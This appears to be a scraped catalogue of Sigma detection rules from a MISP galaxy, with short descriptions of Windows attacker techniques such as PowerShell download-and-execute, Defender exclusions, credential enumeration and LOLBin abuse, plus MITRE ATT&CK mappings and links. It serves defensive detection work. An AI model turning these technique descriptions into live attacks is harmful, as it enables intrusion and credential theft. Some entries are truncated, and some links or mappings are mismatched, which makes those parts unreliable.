Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.

The tag is: *misp-galaxy:sigma-rules*="Install New Package Via Winget Local Manifest"
Install New Package Via Winget Local Manifest has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 9645. Table References

Links

- https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
- https://lolbas-project.github.io/lolbas/Binaries/Winget/
- https://docs.microsoft.com/en-us/windows/package-manager/winget/install#local-install
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win/_winget_local_install_via_manifest.yml

Non-privileged Usage of Reg or Powershell

Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry

The tag is: misp-galaxy:sigma-rules="Non-privileged Usage of Reg or Powershell"

View relationships graph

Non-privileged Usage of Reg or Powershell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 9646. Table References

Links

- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win/_susp_non_priv_reg_or_ps.yml

Usage Of Web Request Commands And Cmdlets

Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine

The tag is: misp-galaxy:sigma-rules="Usage Of Web Request Commands And Cmdlets"

View relationships graph

Usage Of Web Request Commands And Cmdlets has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

### Using SettingSyncHost.exe as LOLBin

Detects using SettingSyncHost.exe to run hijacked binary

The tag is: `misp-galaxy:sigma-rules="Using SettingSyncHost.exe as LOLBin"`

View relationships graph

Using SettingSyncHost.exe as LOLBin has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"

### Suspicious Process Parents

Detects suspicious parent processes that should not have any children or should only have a single possible child program

The tag is: `misp-galaxy:sigma-rules="Suspicious Process Parents"`

View relationships graph

Suspicious Process Parents has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
**Powershell Defender Exclusion**

Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets

The tag is: *misp-galaxy:sigma-rules="Powershell Defender Exclusion"*

View relationships graph

Powershell Defender Exclusion has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"* with estimative-language:likelihood-probability="almost-certain"

*Table 9650. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AdamTheAnalyst/status/148349751719590403">https://twitter.com/AdamTheAnalyst/status/148349751719590403</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml</a></td>
</tr>
</tbody>
</table>

**Arbitrary Binary Execution Using GUP Utility**

Detects execution of the Notepad++ updater (gup) to launch other commands or executables

The tag is: *misp-galaxy:sigma-rules="Arbitrary Binary Execution Using GUP Utility"*

*Table 9651. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1535322445439180803">https://twitter.com/nas_bench/status/1535322445439180803</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_arbitrary_binary_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_arbitrary_binary_execution.yml</a></td>
</tr>
</tbody>
</table>
**Suspicious CodePage Switch Via CHCP**

Detects a code page switch in command line or batch scripts to a rare language

The tag is: `misp-galaxy:sigma-rules="Suspicious CodePage Switch Via CHCP"`

View relationships graph

Suspicious CodePage Switch Via CHCP has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"

Table 9652. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/cglyer/status/1183756892952248325">https://twitter.com/cglyer/status/1183756892952248325</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chcp_codepage_switch.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chcp_codepage_switch.yml</a></td>
</tr>
</tbody>
</table>

**Kavremover Dropped Binary LOLBIN Usage**

Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.

The tag is: `misp-galaxy:sigma-rules="Kavremover Dropped Binary LOLBIN Usage"`

View relationships graph

Kavremover Dropped Binary LOLBIN Usage has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127"` with estimative-language:likelihood-probability="almost-certain"

Table 9653. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea">https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_kavremover.yml</a></td>
</tr>
</tbody>
</table>

**DllUnregisterServer Function Call Via Msiexec.EXE**

Detects MsiExec loading a DLL and calling its DllUnregisterServer function

The tag is: `misp-galaxy:sigma-rules="DllUnregisterServer Function Call Via Msiexec.EXE"`
DllUnregisterServer Function Call Via Msiexec.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

**Password Provided In Command Line Of Net.EXE**

Detects a when net.exe is called with a password in the command line

The tag is: *misp-galaxy:sigma-rules="Password Provided In Command Line Of Net.EXE"*

Password Provided In Command Line Of Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

**Recon Information for Export with Command Prompt**

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

The tag is: *misp-galaxy:sigma-rules="Recon Information for Export with Command Prompt"*
Recon Information for Export with Command Prompt has relationships with:


Table 9656. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd4c3742b9f365fee2a9/atomics/T1119/T1119.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd4c3742b9f365fee2a9/atomics/T1119/T1119.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml</a></td>
</tr>
</tbody>
</table>

**Active Directory Structure Export Via Ldifde.EXE**

Detects the execution of "ldifde.exe" in order to export organizational Active Directory structure.

The tag is: misp-galaxy:sigma-rules="Active Directory Structure Export Via Ldifde.EXE"

Table 9657. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit">https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_export.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_export.yml</a></td>
</tr>
</tbody>
</table>

**Service Registry Key Deleted Via Reg.EXE**

Detects execution of "reg.exe" commands with the "delete" flag on services registry key. Often used by attacker to remove AV software services

The tag is: misp-galaxy:sigma-rules="Service Registry Key Deleted Via Reg.EXE"

View relationships graph

Service Registry Key Deleted Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 9658. Table References

| Links |
Potentially Suspicious GoogleUpdate Child Process

Detects potentially suspicious child processes of "GoogleUpdate.exe"

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious GoogleUpdate Child Process"`

Table 9659. Table References

Links

- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml

Shell32 DLL Execution in Suspicious Directory

Detects shell32.dll executing a DLL in a suspicious directory

The tag is: `misp-galaxy:sigma-rules="Shell32 DLL Execution in Suspicious Directory"`

View relationships graph

Shell32 DLL Execution in Suspicious Directory has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"` with estimative-language:likelihood-probability="almost-certain"

Table 9660. Table References

Links

- https://www.group-ib.com/resources/threat-research/red-curl-2.html
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_shell32_susp_execution.yml

Potential Active Directory Enumeration Using AD Module - ProcCreation

Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dll" DLL. Which is often used by attackers to perform AD enumeration.

The tag is: `misp-galaxy:sigma-rules="Potential Active Directory Enumeration Using AD Module - ProcCreation"`
Table 9661. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/cyb3rops/status/1617108657166061568?s=20">https://twitter.com/cyb3rops/status/1617108657166061568?s=20</a></td>
</tr>
<tr>
<td><a href="https://github.com/samratashok/ADModule">https://github.com/samratashok/ADModule</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_active_directory_module_dll_import.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_active_directory_module_dll_import.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious PowerShell Download and Execute Pattern**

Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Download and Execute Pattern"`

View relationships graph

Suspicious PowerShell Download and Execute Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9662. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/jivoi/c354eaaaf3019352ce32522f916c03d70">https://gist.github.com/jivoi/c354eaaaf3019352ce32522f916c03d70</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_download_patterns.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_download_patterns.yml</a></td>
</tr>
</tbody>
</table>

**Use of Setres.exe**

Detects the use of Setres.exe to set the screen resolution and then potentially launch a file named "choice" (with any executable extension such as ".cmd" or ".exe") from the current execution path

The tag is: `misp-galaxy:sigma-rules="Use of Setres.exe"`

View relationships graph

Use of Setres.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with
Permission Check Via Accesschk.EXE

Detects the usage of the "Accesschk" utility, an access and privilege audit tool developed by SysInternal and often being abused by attacker to verify process privileges.

The tag is: *misp-galaxy: sigma-rules* = "Permission Check Via Accesschk.EXE"

View relationships graph

Permission Check Via Accesschk.EXE has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern* = "Local Groups - T1069.001" with *estimative-language: likelihood-probability* = "almost-certain"

HackTool - SharpLDAPmonitor Execution

Detects execution of the SharpLDAPmonitor. Which can monitor the creation, deletion and changes to LDAP objects.
The tag is: `misp-galaxy:sigma-rules="HackTool - SharpLDAPmonitor Execution"

Table 9665. Table References

Links

<table>
<thead>
<tr>
<th>Link</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/p0dalirius/LDAPmonitor">https://github.com/p0dalirius/LDAPmonitor</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_ldap_monitor.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_ldap_monitor.yml</a></td>
</tr>
</tbody>
</table>

**DLL Sideloading by VMware Xfer Utility**

Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL

The tag is: `misp-galaxy:sigma-rules="DLL Sideloading by VMware Xfer Utility"

View relationships graph

DLL Sideloading by VMware Xfer Utility has relationships with:


Table 9666. Table References

Links

<table>
<thead>
<tr>
<th>Link</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - Covenant PowerShell Launcher**

Detects suspicious command lines used in Covenant launchers

The tag is: `misp-galaxy:sigma-rules="HackTool - Covenant PowerShell Launcher"

View relationships graph

HackTool - Covenant PowerShell Launcher has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9667. Table References

Links
WScript or CScript Dropper

Detects wscript/cscript executions of scripts located in user directories

The tag is: `misp-galaxy: sigma-rules="WScript or CScript Dropper"`

View relationships graph

WScript or CScript Dropper has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Visual Basic - T1059.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy: mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"

Table 9668. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_script_dropper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_script_dropper.yml</a></td>
</tr>
</tbody>
</table>

Sideloading Link.EXE

Detects the execution utilities often found in Visual Studio tools that hardcode the call to the binary "link.exe". They can be abused to sideload any binary with the same name

The tag is: `misp-galaxy: sigma-rules="Sideloading Link.EXE"`

View relationships graph

Sideloading Link.EXE has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 9669. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1560732860935729152">https://twitter.com/0gtweet/status/1560732860935729152</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sideload_link_binary.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sideload_link_binary.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Script Execution From Temp Folder

Detects a suspicious script executions from temporary folder

The tag is: misp-galaxy:sigma-rules="Suspicious Script Execution From Temp Folder"

View relationships graph

Suspicious Script Execution From Temp Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 9670. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_temp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_temp.yml</a></td>
</tr>
</tbody>
</table>

Base64 Encoded PowerShell Command Detected

Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string

The tag is: misp-galaxy:sigma-rules="Base64 Encoded PowerShell Command Detected"

View relationships graph

Base64 Encoded PowerShell Command Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9671. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639">https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_powershell_frombase64string.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_powershell_frombase64string.yml</a></td>
</tr>
</tbody>
</table>
New Root Certificate Installed Via CertMgr.EXE

Detects execution of "certmgr" with the "add" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

The tag is: `misp-galaxy:sigma-rules="New Root Certificate Installed Via CertMgr.EXE"`

View relationships graph

New Root Certificate Installed Via CertMgr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 9672. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/">https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certmgr_certificate_installation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certmgr_certificate_installation.yml</a></td>
</tr>
</tbody>
</table>

Sysinternals PsService Execution

Detects usage of Sysinternals PsService which can be abused for service reconnaissance and tampering

The tag is: `misp-galaxy:sigma-rules="Sysinternals PsService Execution"`

View relationships graph

Sysinternals PsService Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 9673. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psservice">https://docs.microsoft.com/en-us/sysinternals/downloads/psservice</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psservice.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psservice.yml</a></td>
</tr>
</tbody>
</table>

New Firewall Rule Added Via Netsh.EXE

Detects the addition of a new rule to the Windows firewall via netsh
The tag is: `misp-galaxy:sigma-rules="New Firewall Rule Added Via Netsh.EXE"`

New Firewall Rule Added Via Netsh.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"

Table 9674. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_rule.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_rule.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Download from Office Domain**

Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents

The tag is: `misp-galaxy:sigma-rules="Suspicious Download from Office Domain"`

Suspicious Download from Office Domain has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608"` with estimative-language:likelihood-probability="almost-certain"

Table 9675. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/an0n_r0/status/1474698356635193346?s=12">https://twitter.com/an0n_r0/status/1474698356635193346?s=12</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1475085452784844803?s=12">https://twitter.com/mrd0x/status/1475085452784844803?s=12</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml</a></td>
</tr>
</tbody>
</table>

**PsExec/PAExec Escalation to LOCAL SYSTEM**

Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights

The tag is: `misp-galaxy:sigma-rules="PsExec/PAExec Escalation to LOCAL SYSTEM"`
PsExec/PAExec Escalation to LOCAL SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

Run PowerShell Script from Redirected Input Stream

Detects PowerShell script execution via input stream redirect

The tag is: misp-galaxy:sigma-rules="Run PowerShell Script from Redirected Input Stream"

Lolbin Defaultpack.exe Use As Proxy

Detect usage of the "defaultpack.exe" binary as a proxy to launch other programs

The tag is: misp-galaxy:sigma-rules="Lolbin Defaultpack.exe Use As Proxy"
Lolbin Defaultpack.exe Use As Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9678. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/</a></td>
</tr>
<tr>
<td><a href="https://www.echotrail.io/insights/search/defaultpack.exe">https://www.echotrail.io/insights/search/defaultpack.exe</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_defaultpack.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_defaultpack.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious UltraVNC Execution**

Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)

The tag is: *misp-galaxy:.sigma-rules*="Suspicious UltraVNC Execution"

View relationships graph

Suspicious UltraVNC Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"

Table 9679. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution">https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc_susp_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc_susp_execution.yml</a></td>
</tr>
</tbody>
</table>

**PowerShell Script Run in AppData**

Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder

The tag is: *misp-galaxy:.sigma-rules*="PowerShell Script Run in AppData"

View relationships graph
PowerShell Script Run in AppData has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9680. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/JohnLaTwC/status/1082851155481288706">https://twitter.com/JohnLaTwC/status/1082851155481288706</a></td>
</tr>
<tr>
<td><a href="https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-314545c06ce03">https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-314545c06ce03</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_ps_appdata.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_ps_appdata.yml</a></td>
</tr>
</tbody>
</table>

Windows Internet Hosted WebDav Share Mount Via Net.EXE

Detects when an internet hosted webdav share is mounted using the "net.exe" utility

The tag is: misp-galaxy:sigma-rules="Windows Internet Hosted WebDav Share Mount Via Net.EXE"

View relationships graph

Windows Internet Hosted WebDav Share Mount Via Net.EXE has relationships with:


Table 9681. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view">https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_internet_share.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_internet_share.yml</a></td>
</tr>
</tbody>
</table>

Suspicious High IntegrityLevel Conhost Legacy Option

ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context.

The tag is: misp-galaxy:sigma-rules="Suspicious High IntegrityLevel Conhost Legacy Option"

View relationships graph

Suspicious High IntegrityLevel Conhost Legacy Option has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
**Suspect Svchost Activity**

It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.

The tag is: `misp-galaxy:sigma-rules="Suspect Svchost Activity"`

**View relationships graph**

Suspect Svchost Activity has relationships with:


**HackTool - Jlaive In-Memory Assembly Execution**

Detects the use of Jlaive to execute assemblies in a copied PowerShell

The tag is: `misp-galaxy:sigma-rules="HackTool - Jlaive In-Memory Assembly Execution"`

**View relationships graph**

HackTool - Jlaive In-Memory Assembly Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"` with estimative-language:likelihood-probability="almost-certain"
Suspicious WmiPrvSE Child Process

Detects suspicious and uncommon child processes of WmiPrvSE

The tag is: `misp-galaxy:sigma-rules="Suspicious WmiPrvSE Child Process"`

View relationships graph

Suspicious WmiPrvSE Child Process has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with estimative-language:likelihood-probability="almost-certain"

Table 9685. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/ForensicITGuy/status/1334734244120309760">https://twitter.com/ForensicITGuy/status/1334734244120309760</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/">https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_prvse_susp_child_processes.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_prvse_susp_child_processes.yml</a></td>
</tr>
</tbody>
</table>

Enumeration for 3rd Party Creds From CLI

Detects processes that query known 3rd party registry keys that holds credentials via commandline

The tag is: `misp-galaxy:sigma-rules="Enumeration for 3rd Party Creds From CLI"`

View relationships graph

Enumeration for 3rd Party Creds From CLI has relationships with:
